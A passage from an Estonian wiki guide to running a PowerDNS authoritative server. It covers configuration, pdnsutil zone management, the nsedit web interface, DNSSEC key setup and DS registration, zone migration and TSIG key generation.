&lt;br /&gt;
 # psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
&lt;br /&gt;
Lisaks peab olema seadistusfail /etc/powerdns/pdns.d/pdns.local.gpgsql.conf sobiva sisuga, vt. eelmist punkti.&lt;br /&gt;
&lt;br /&gt;
===Tarkvara seadistamine===&lt;br /&gt;
&lt;br /&gt;
Üldosa sobiks kokkuvõttes seadistada nt nii&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf &lt;br /&gt;
 allow-axfr-ips=127.0.0.0/8,::1,192.168.1.210&lt;br /&gt;
 also-notify=192.168.1.210&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=midagisalajast123&lt;br /&gt;
 default-soa-mail=hostmaster.moraal.ee.&lt;br /&gt;
 default-soa-name=ans1.moraal.ee.&lt;br /&gt;
 include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
 launch=&lt;br /&gt;
 master=yes&lt;br /&gt;
 only-notify=192.168.1.210&lt;br /&gt;
 security-poll-suffix=&lt;br /&gt;
 setgid=pdns&lt;br /&gt;
 setuid=pdns&lt;br /&gt;
 slave=yes&lt;br /&gt;
 soa-expire-default=3600000&lt;br /&gt;
 soa-minimum-ttl=3600&lt;br /&gt;
 soa-refresh-default=86400&lt;br /&gt;
 soa-retry-default=7200&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* allow-axfr-ips - millistelt ip aadressidelt on lubatud axfr&lt;br /&gt;
* also-notify - millistele ip aadressidel töötavatele nimeserveritele saata notify&lt;br /&gt;
* api* - api kasutamine (vajalik veebipõhise haldusliidese nsedit jaoks)&lt;br /&gt;
* default-soa-* - uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* only-notify - notify saadetakse ainult näidatud ip aadressidele (mitte tsoonifailides siselduvatele NS serveritele)&lt;br /&gt;
* soa-* uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* webserver* - powerdns sisemise veebiserveri ip aadress jms (saab uurida protsesside statistikat)&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks lõpetada ja käivitada pdns protsessid&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop pdns&lt;br /&gt;
 # systemctl start pdns&lt;br /&gt;
&lt;br /&gt;
===Tsooni sisu haldamine käsurealt===&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu haldamine käsurealt toimub utiliidi pdnsutil abil. Uue tühja tsooni tekitamine (sisaldab SOA kirjet), seejärel tuleb vähemalt NS kirje tekitada (nb! nii tekib Native tüüpi tsoon)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tsooni Native -&amp;gt; Master teisendus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-kind moraal.ee master&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil list-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Sisu muutmiseks, sh muuta käsitsi SOA serial&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil edit-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
utiliidiga seriali suurendamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # dig @127.0.0.1 moraal.ee axfr&lt;br /&gt;
&lt;br /&gt;
Notify käsitsi välja saatmiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify moraal.ee&lt;br /&gt;
 Added to queue&lt;br /&gt;
&lt;br /&gt;
Kirje lisamine (lisaks tuleb increase serial öelda)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-record moraal.ee imre5 A 300 &amp;quot;127.0.0.5&amp;quot;&lt;br /&gt;
 Feb 21 10:20:54 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 New rrset:&lt;br /&gt;
 imre5.moraal.ee. IN A 300 127.0.0.5&lt;br /&gt;
&lt;br /&gt;
===Veebipõhine haldusliides nsedit===&lt;br /&gt;
&lt;br /&gt;
Veebipõhiste haldusliideste abil saab&lt;br /&gt;
&lt;br /&gt;
* tekitada ja kustutada tsoone, muuta tsoonide sisu&lt;br /&gt;
* loodetavasti haldusliidese abil jäävad tegemata mingid süntaksivead, mida on kerge teha nn BIND-ühilduvat tsoonifaili tavalise tekstieditoriga otse muutes&lt;br /&gt;
* tsooni sisu halduse saab usaldada mitte-vi/joe/nano ekspertiisiga inimesele&lt;br /&gt;
&lt;br /&gt;
Paistab, et veebipõhiseid haldusliideseid on omajagu, https://github.com/PowerDNS/pdns/wiki/WebFrontends. nsedit on PHP rakendus. Märkused&lt;br /&gt;
&lt;br /&gt;
* Tsoonis tehtud muudatustega kaasneb automaatselt SOA seriali suurenemine&lt;br /&gt;
* Veebiliideses tehtud muudatused ei kajastu alati sama veebiliideses koheselt (nt SOA seriali muutumine, välja ja sisselogimise järel on näha)&lt;br /&gt;
* nsedit esitab muudatuste logi&lt;br /&gt;
* toimib ipv6 jaoks&lt;br /&gt;
* nn õäöü tähti sisaldavaid nimesid sisestada otseselt ei saa&lt;br /&gt;
* rakenduse võib paigaldada http:// peale ja seejärel muuta veebiserveri seadistusi ning kasutada edasi https:// abil&lt;br /&gt;
* nsedit ei pea asuma samas arvutis PowerDNS serveriga, suhtlemine toimub üle võrgu ja kasutades API liidest&lt;br /&gt;
&lt;br /&gt;
====Ettevalmistused====&lt;br /&gt;
&lt;br /&gt;
nsedit kasutamise eelduseks on selline tarkvara&lt;br /&gt;
&lt;br /&gt;
 # apt-get install apache2 php git php-sqlite3 php-curl&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Kopeerida tarkvara, tundub, et 2017 aasta alguses on praktiline võtta git repo viimane ots&lt;br /&gt;
&lt;br /&gt;
 # cd /var/www/html&lt;br /&gt;
 # git clone https://github.com/tuxis-ie/nsedit.git&lt;br /&gt;
&lt;br /&gt;
Tekitada php skriptide jaoks kasutaja:grupp&lt;br /&gt;
&lt;br /&gt;
 # groupadd nsedit&lt;br /&gt;
 # useradd -g nsedit -m -d /opt/nsedit -s /bin/false nsedit&lt;br /&gt;
&lt;br /&gt;
Avades brauseris http://pdns.moraal.ee/nsedit küsitakse parooli, vaikimisi sobib admin ja admin mille järel&lt;br /&gt;
&lt;br /&gt;
* kontrollitakse vajalike teekide olemasolu&lt;br /&gt;
* moodustatakse sqlite3 andmebaas&lt;br /&gt;
&lt;br /&gt;
 # sqlite3 /var/www/html/etc/pdns.users.sqlite3&lt;br /&gt;
 ..&lt;br /&gt;
 sqlite&amp;gt; .tables&lt;br /&gt;
 logs   users  zones&lt;br /&gt;
&lt;br /&gt;
nsedit seadistatakse failis /var/www/html/nsedit/includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
 # cp includes/config.inc.php-dist includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
* ühendust powerdns serveriga üle api juhib sektsioon&lt;br /&gt;
&lt;br /&gt;
 # cat /var/www/html/nsedit/includes/config.inc.php | grep '^$api'&lt;br /&gt;
 $apipass = 'apiparool';           # The PowerDNS API-key&lt;br /&gt;
 $apiip   = '10.0.9.18';           # The IP of the PowerDNS API&lt;br /&gt;
 $apiport = '8081';       # The port of the PowerDNS API&lt;br /&gt;
 $apiproto      = 'http'; # http | https&lt;br /&gt;
 $apisslverify  = FALSE;  # Verify SSL Certificate if using https for apiproto&lt;br /&gt;
&lt;br /&gt;
* vaikeväärtuste kasutamiset haldusliideses kontrollib&lt;br /&gt;
&lt;br /&gt;
 $defaults['soa_edit']    = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['soa_edit_api'] = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['defaulttype'] = 'Master';                    # Choose between 'Native' or 'Master'&lt;br /&gt;
 $defaults['ns'][0] = 'ns1.moraal.ee.';         # The value of the first NS-record&lt;br /&gt;
 $defaults['ns'][1] = 'ns2.moraal.ee.';       # The value of the second NS-record&lt;br /&gt;
 $defaults['ttl']   = 3600;                              # Default TTL for records&lt;br /&gt;
 $defaults['disabled'] = false;                          # Default disabled state&lt;br /&gt;
&lt;br /&gt;
Kasutajaliides paistab välja selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Kui rakendus töötab, muuta rakenduse failide omanik:grupp ära&lt;br /&gt;
&lt;br /&gt;
 # chown -R nsedit:nsedit /var/www/html/nsedit&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
* Kasutajate lisamine, valida (ning märkida linnuke admin user jaoks), tulemusena on nsedit logid paremad&lt;br /&gt;
&lt;br /&gt;
 Users -&amp;gt; Add new user &lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine, valida&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Add new zone&lt;br /&gt;
&lt;br /&gt;
ning sisestada Domain lahtrisse domeeninimi, lõpetades punktiga, nt&lt;br /&gt;
&lt;br /&gt;
 test-1.ee.&lt;br /&gt;
&lt;br /&gt;
Kõik muud valikud jätta vaikimisi&lt;br /&gt;
&lt;br /&gt;
 Account - admin&lt;br /&gt;
 Type - master&lt;br /&gt;
 Template - None&lt;br /&gt;
&lt;br /&gt;
Kuna pdns serveri seadistusfailisis on näidatus SOA kirje väärtused ja nsedit seadisusfailis on kirjeldatud nimeserverid, siis tekib vaikimisi kastutatav tulemus.&lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine kirjeldades korraga palju kirjeid (nt tsooni ületoomisel eelmise dns teenusepakkuja juurest)&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Import a new zone&lt;br /&gt;
&lt;br /&gt;
seejuures&lt;br /&gt;
&lt;br /&gt;
 avanenud dialoogi pasteda tsoonifaili sisu&lt;br /&gt;
 eemaldada SOA kirje&lt;br /&gt;
 asendada NS kirjetesse õiged väärtused&lt;br /&gt;
 kõik nimed (kirje kõige vasem positsioon) peavad olema pikad ja lõppema punktiga&lt;br /&gt;
 eemaldada linnuke 'Overwrite Nameservers' juurest&lt;br /&gt;
&lt;br /&gt;
* Mitme elemendilise väärtuse puhul tuleb see nii sisestada, nt MX kirje puhul&lt;br /&gt;
&lt;br /&gt;
 10 mx.moraal.ee.&lt;br /&gt;
&lt;br /&gt;
* Eeldusel, et on olemas Content tulbas kasutatav A kirje ip aadressile vastav in-addr.arpa tsoon, saab nsedit abil tekitada automaatselt PTR kirje.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni esmane juurutamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et uuemal ajal saab DNSSEC juures kasatada CSK (Combined Signing Key) võtit ja seda kasutab PowerDNS vaikimisi, kuid samas CSK võtmeid registripidajad eriti ei toeta. Ja PowerDNS toetab ka nö klassikalist KSK+ZSK komplekti kasutamist.&lt;br /&gt;
&lt;br /&gt;
====KSK ja ZSK võtmete kasutamine====&lt;br /&gt;
&lt;br /&gt;
Võtmete tsooniga seostamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee zsk 1024 active rsasha256&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 5 0...f'&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
mis&lt;br /&gt;
&lt;br /&gt;
* tekitab võtmed&lt;br /&gt;
* kui set-meta kogemata vääratab, nt lisati SOA-EDIT-SOA, siis saab meta data eemaldada, st näitamata väärtust&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-SOA&lt;br /&gt;
&lt;br /&gt;
* võtab kasutusele nsec3 hash'ide arvutamiseks vajaliku materjali (0-f on 16-elemendiline juhuslik hex järgnevus, mis saadake nt nii&lt;br /&gt;
&lt;br /&gt;
 $ head -c 512 /dev/urandom | sha1sum | cut -b 1-16&lt;br /&gt;
 7bc59a6dd87fa477&lt;br /&gt;
&lt;br /&gt;
ja ideaalis võiks seda regulaarselt muuta), nt&lt;br /&gt;
&lt;br /&gt;
 $ dig +short moraal.ee nsec3param&lt;br /&gt;
 1 0 5 E7544BB6070C3E0F&lt;br /&gt;
&lt;br /&gt;
(kus 1 - sha1, 0 - opt-out, 5 - iterations, E7544BB6070C3E0F - salt)&lt;br /&gt;
&lt;br /&gt;
* INCEPTION-INCREMENT rida seadistab selliselt, et kui automaaselt tsooni andmed resigneeritakse, siis suurendatakse ka seriali (muidu ei toimu notify ja andmed ei jõua avalikesse pädevatesse nimeserveritesse)&lt;br /&gt;
* rectify tuleb põhimõtteliselt öelda peale iga tsooni muudatust, et olla täiesti kindel tsooni toimimises; kui PowerDNS kasutatakse avalike nimeserverite varjatud masterina, pole see probleem&lt;br /&gt;
&lt;br /&gt;
ning tsooni andmed paistavad&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
 Nov 06 23:49:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 This is a Master zone&lt;br /&gt;
 Last SOA serial number we notified: 2016103003 == 2016103003 (serial in the database)&lt;br /&gt;
 Metadata items: &lt;br /&gt;
        SOA-EDIT        INCEPTION-INCREMENT&lt;br /&gt;
        SOA-EDIT-API    INCEPTION-INCREMENT&lt;br /&gt;
 Zone has NSEC3 semantics, configuration: 1 0 1 ab&lt;br /&gt;
 keys: &lt;br /&gt;
 ID = 11 (ZSK), flags = 256, tag = 26589, algo = 8, bits = 1024    Active ( RSASHA256 ) &lt;br /&gt;
 ID = 10 (KSK), flags = 257, tag = 53461, algo = 8, bits = 2048    Active ( RSASHA256 ) &lt;br /&gt;
 KSK DNSKEY = moraal.ee. IN DNSKEY 257 3 8  AwEAAcn... TQcnQstT+tU= ; ( RSASHA256 )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 1 6c123b39076072da... c66f62b1e3c388b86b7f ; ( SHA1 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 2 b85dee98efa6e3bb... 57ce193f728f6b2b1d0dd262 ; ( SHA256 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 3 1359b0b2b97e60b2... 844b207e84bf5c109eb2e151 ; ( GOST R 34.11-94 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 4 6d735926cd5cf68b... 9ca2af1f72b3b8f67900bb32a94c ; ( SHA-384 digest )&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kaks võtit, ID väärtustega 10 ja 11&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje (reeglina see õnnestub, aga nt 2017 aasta kevadel .org domeenide puhul on tulemuseks dnssec viga, tavaline servfail)&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
====Tulemuse kontrollimine====&lt;br /&gt;
&lt;br /&gt;
Kui kõik juba töötab (ja on vist on vajalik, et kasutada on mõni dnssec-võimeline rekursiivne nimeserver), saab tulemust kontrollida nt nii&lt;br /&gt;
&lt;br /&gt;
 $ ldns-rrsig moraal.ee a&lt;br /&gt;
 moraal.ee RRSIG(a):  Thu Oct 27 00:00:00 2016 - Thu Nov 17 00:00:00 2016&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
* DNSSEC RRSIG signatuure arvutatakse iga 2 nädala tagant üle selleks, et piirata replay attack võimalusi. Põhimõtteliselt saab pahalane päringule vastuseks saata mõne varasemalt võrgus olnud vastuse (st RRSet + RRSIG komplekti) eeldusel, et ta kontrollib kasutaja võrguliiklust. Tänu RRSIG piiratud kehtivusajale (nt 2 nädalat) saab ta seda teha mitte vanemate kui 2 nädalat andmetega, lisaks ta on piiratud saatma mitte suvalisi vastuseid, vaid viimase kahe nädala jooksul kasutuses olnud vastuseid.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
&lt;br /&gt;
====CSK võtme kasutamine====&lt;br /&gt;
&lt;br /&gt;
Märkus 2016 lõpus: tundub, et see CSK on mingi tulevikutehnoloogia.&lt;br /&gt;
&lt;br /&gt;
Olemasoleva tsooni jaoks DNSSEC sisselülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil secure-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 1 ab'&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* tagasi nsec peale viimiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil unset-nsec3 moraal.ee&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni seostamine DS sissekande abil ülevalpool oleva tsooniga===&lt;br /&gt;
&lt;br /&gt;
DNSSEC tsooni seostamiseks ülevalpool oleva tsooniga on vaja teada selliseid andmeid&lt;br /&gt;
&lt;br /&gt;
* võtme silt&lt;br /&gt;
* võtme tüüp&lt;br /&gt;
* algoritm&lt;br /&gt;
* avalik võti (või DS mis on avaliku võtme räsi vms)&lt;br /&gt;
&lt;br /&gt;
Need kõik on avalik info ja kättesaadavad domeeni pädevast nimeserverist, aga PowerDNS haldusutiliidiga saab selle küsida otsekoheselt&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Ühesõnaga, kui ise kasutatakse PowerDNS'i või partner saadab need andmed, siis allpool toodud dig käsuga tegelemist pole tarvis läbi teha. Tulemust sobib kontrollida nt aadressil http://dnsviz.net/.&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .ee tsoonis====&lt;br /&gt;
&lt;br /&gt;
Logida sisse oma kasutajaga ja valida vasakult paneelist 'Teenuste ülevaade', kõnelaluse tsooni juures pressida rohelist + märki DNSSEC tulbas. Avanenud uuel eraanil vajutada üleval sinist nuppu Aktiveeri (muutub roheliseks), vajutada võtmete nimekirjas + märki ja täita lahtrid&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-3.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* võtme silt - (antud juhul 53461), selle saab teada päringu väjundist&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey rrsig | grep DNSKEY&lt;br /&gt;
 moraal.ee.              10800   IN      RRSIG   DNSKEY 8 2 10800 20161208000000 20161117000000 53461 moraal.ee. rVy+HAzSKkTRv6...&lt;br /&gt;
&lt;br /&gt;
* võtme tüüp - KSK&lt;br /&gt;
* algoritm - 8 (RSA-SHA256)&lt;br /&gt;
* avalik võti,  selle saab teada päringu väljundist, alates Aw kuni tU= (võib sisaldada tühikuid nagu päringu vastuses on)&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey | grep 257&lt;br /&gt;
 moraal.ee. 3600 IN DNSKEY 257 3 8 AwEAAcnmmnnOlkRfK9NDYEI6F ... SD6 TQcnQstT+tU=&lt;br /&gt;
&lt;br /&gt;
Vajutada all nuppu Kinnita, muudatus kehtestub peaaegu koheselt (ehk minutite jooksul), aga kasutajaliideses öeldakse&lt;br /&gt;
&lt;br /&gt;
 DNSSEC kaitse domeenil MORAAL.EE&lt;br /&gt;
 Hetkestaatus: DNSSEC on aktiveerimata&lt;br /&gt;
 Eesootavad muutused: DNSSEC aktiveeritakse&lt;br /&gt;
&lt;br /&gt;
Teha brauseris refresh ja peab olema domeenide nimekirjas DNSSEC tulbas + asemel kilbi kujutis. Edasi läheb nn 15 minutit kuni muudatus zone.ee juurest eestiinternet.ee juurde jõuab ning kehtestub ee. tld (top level domain) nimeserverites. Kontrolliks maksab küsida tld nimeserverilt ds kirjet&lt;br /&gt;
&lt;br /&gt;
 $ dig +short @ns.tld.ee moraal.ee ds&lt;br /&gt;
 30607 8 2 EAC8A17DD2128573F08EE76C18B4AB01734467CD4A376768F5358B0C A2B9463F&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .org tsoonis====&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-6.gif]]&lt;br /&gt;
&lt;br /&gt;
====GoDaddy keskkonnas====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===DNSSEC võtmete asendamine===&lt;br /&gt;
&lt;br /&gt;
====ZSK====&lt;br /&gt;
&lt;br /&gt;
====KSK====&lt;br /&gt;
&lt;br /&gt;
KSK moodi võtme lisamiseks sobib öelda, selliselt võib tsooniga siduda ka enam kui kaks võtit&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtmed paistavad käsu väljundis&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab dnsviz keskkonnas selline pilt&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtme eemaldamiseks sobib öelda, kus ID on show-zone väljundist välja valitud võtme ID väärtus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil remove-zone-key moraal.ee ID&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/howtos/#zsk-rollover&lt;br /&gt;
&lt;br /&gt;
===Mitmesugused haldusprotseduurid===&lt;br /&gt;
&lt;br /&gt;
====tsooni backend muutmine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Tsooni migreerimiseks suvalisest AXFR-võimelisest nimeserverist sobib&lt;br /&gt;
&lt;br /&gt;
* kirjeldada PowerDNS peal slave&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-slave-zone moraal.ee 10.0.6.15&lt;br /&gt;
 Feb 21 22:09:52 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Creating slave zone 'moraal.ee', with master(s) '10.0.6.15:53'&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmed axfr abil üle, kopeerimist kiirendab&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
&lt;br /&gt;
* muuta PowerDNS tsooni jaoks masteriks, öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; UPDATE domains set type='MASTER' where type='SLAVE';&lt;br /&gt;
&lt;br /&gt;
Kui allikaks on nt BIND ning tsoonifailis on kasutatud generate konstruktsiooni, siis need lahenduvad automaatselt ära&lt;br /&gt;
&lt;br /&gt;
 $GENERATE 1-255 $ IN CNAME $.1-255.40.184.10.in-addr.arpa.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/migration/&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Analoogiliselt eelmisele punktile, aga&lt;br /&gt;
&lt;br /&gt;
* esmalt lülitada dnssec välja, kustutades DS kirje parent tsoonist ja oodates vähemalt DS kirje TTL aja enne järgmise punkti juurde asumist; seejärel on tsooni sisu endine st vanade võtmetega signeeritud andmestik&lt;br /&gt;
* tegevused eelmises punktis + uute võtmetega krüptimine&lt;br /&gt;
* asuda kasutama uute võtmetega krüptitud tsooni sisu, ja oodata nt 6 tundi&lt;br /&gt;
* juurutada parent tsoonis uus DS kirje&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla OpenDNSSEC keskkonnast koos vana KSK krüptomaterjaliga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et OpenDNSSEC kasutab SoftHSM backendi saab KSK krüptomaterjalid eksportida ja taaskasutada. Ettevalmistuseks tuleb kõnealune tsoon muus osas tavalisel viisil kasutusele võtta. SoftHSM pealt krüptomaterjali eksportimiseks tuleb esmalt teha kindlaks kolm väärust&lt;br /&gt;
&lt;br /&gt;
* SoftHSM label ja pin vaadata nt /etc/opendnssec/conf.xml failist&lt;br /&gt;
* kõnealuse tsooni ksk võtme id, vaadata KSK active realt tulp 'CKA_ID'&lt;br /&gt;
&lt;br /&gt;
 # ods-ksmutil key list -v&lt;br /&gt;
&lt;br /&gt;
sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # softhsm --export moraal.ee-ksk.pem --slot 0 --label &amp;quot;vaartus&amp;quot; --pin vaartus --id vaartus&lt;br /&gt;
 The key pair has been written to moraal.ee-ksk.pem&lt;br /&gt;
&lt;br /&gt;
teisendada nn BIND kujule&lt;br /&gt;
&lt;br /&gt;
 # softhsm-keyconv --tobind --in ksk.pem --name moraal.ee --ksk --algorithm RSASHA256&lt;br /&gt;
 The private key has been written to Kmoraal.ee+008+09122.private&lt;br /&gt;
 The public key has been written to Kmoraal.ee+008+09122.key&lt;br /&gt;
&lt;br /&gt;
ning võtta kasutusele PowerDNS juures&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil import-zone-key moraal.ee Kksk+008+53675.private active ksk&lt;br /&gt;
&lt;br /&gt;
Edasi seadistatakse DNSSEC analoogliselt nagu seada ikka PowerDNS puhul seadistatakse. Kusjuures 'pdnsutil import-zone-key ...' tulemus on sarnane nagu oleks öeldud&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.molnar-peter.hu/en/&lt;br /&gt;
&lt;br /&gt;
====pdns-control utiliidi kasutamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS kus on master tsoon saadab notify oma slavedele (nagu on tsoonifaili NS kirjetes kirjas)&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify &amp;lt;domain&amp;gt;&lt;br /&gt;
&lt;br /&gt;
või näidatud ip aadressile&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify-host &amp;lt;domain&amp;gt; &amp;lt;ip-address&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===TSIG kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimeserverite vahelise tsooniedastuse juures TSIG juurutamiseks tuleb esmalt tekitada võti&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil generate-tsig-key from_dns_to_itm hmac-sha256&lt;br /&gt;
 Generating new key with 64 bytes (this can take a while)&lt;br /&gt;
 Nov 26 13:10:37 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
